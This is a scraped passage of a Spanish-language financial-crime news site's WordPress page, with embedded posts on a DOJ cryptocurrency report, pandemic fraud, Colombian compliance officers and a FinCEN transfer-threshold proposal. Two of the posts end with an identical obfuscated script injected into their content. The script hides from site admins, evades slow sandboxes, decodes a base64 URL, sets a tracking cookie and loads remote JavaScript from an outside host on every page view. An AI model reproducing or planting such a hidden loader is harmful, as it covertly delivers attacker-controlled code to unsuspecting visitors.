https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. UU. y que los valores promedio y medios en d\u00f3lares de los fondos mencionados en los ROS eran de aproximadamente US$ 509 y US$ 255, respectivamente,\u00a0<a href=\"https:\/\/www.federalregister.gov\/documents\/2020\/10\/27\/2020-23756\/threshold-for-the-requirement-to-collect-retain-and-transmit-information-on-funds-transfers-and\" target=\"_blank\" rel=\"noopener noreferrer\">seg\u00fan la propuesta<\/a>.\u00a0<\/p><p>\u201cEs posible que algunas instituciones financieras no reconozcan o retengan registros de todas las actividades sospechosas por debajo del umbral de US$ 3.000 o el patr\u00f3n sospechoso no se hace visible hasta que se agreguen los registros\u201d, dijeron las agencias en la propuesta. \"Esto podr\u00eda impedir que las autoridades investiguen y mapeen las redes il\u00edcitas\".<\/p><p>El cambio de regla propuesto, para el cual las agencias piden al p\u00fablico que presente comentarios hasta el 27 de noviembre, aumentar\u00eda la carga de cumplimiento para los bancos y podr\u00eda encontrar resistencia de la industria, dijeron los observadores.<\/p><p>Esta nueva iniciativa podr\u00eda significar una carga importante para los bancos que terminar\u00eda encareciendo las transferencias internacionales de menor valor debido a que har\u00eda m\u00e1s caro la supervisi\u00f3n e incrementar\u00eda los costos de cumplimiento.<\/p><p>Sin embargo, las agencias de EE.UU. se\u00f1alaron que el cambio propuesto no deber\u00eda tener un gran impacto en el costo y la eficiencia del sistema de pago. Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>Acabamos de mencionar que los silos se est\u00e1n derrumbando y que ALD\/CFT y el fraude deben verse como hilos entrelazados de la misma tela criminal, ahora usted indefectiblemente debe prepararse para para fortalecer su conocimiento y pericia en  ciberseguridad.<\/p>\n\n\n\n<p>Si tiene experiencia cibern\u00e9tica, los oradores se\u00f1alaron que debe comenzar a  aprender m\u00e1s sobre el fraude y ALD\/CFT, ya que informaci\u00f3n tal como la 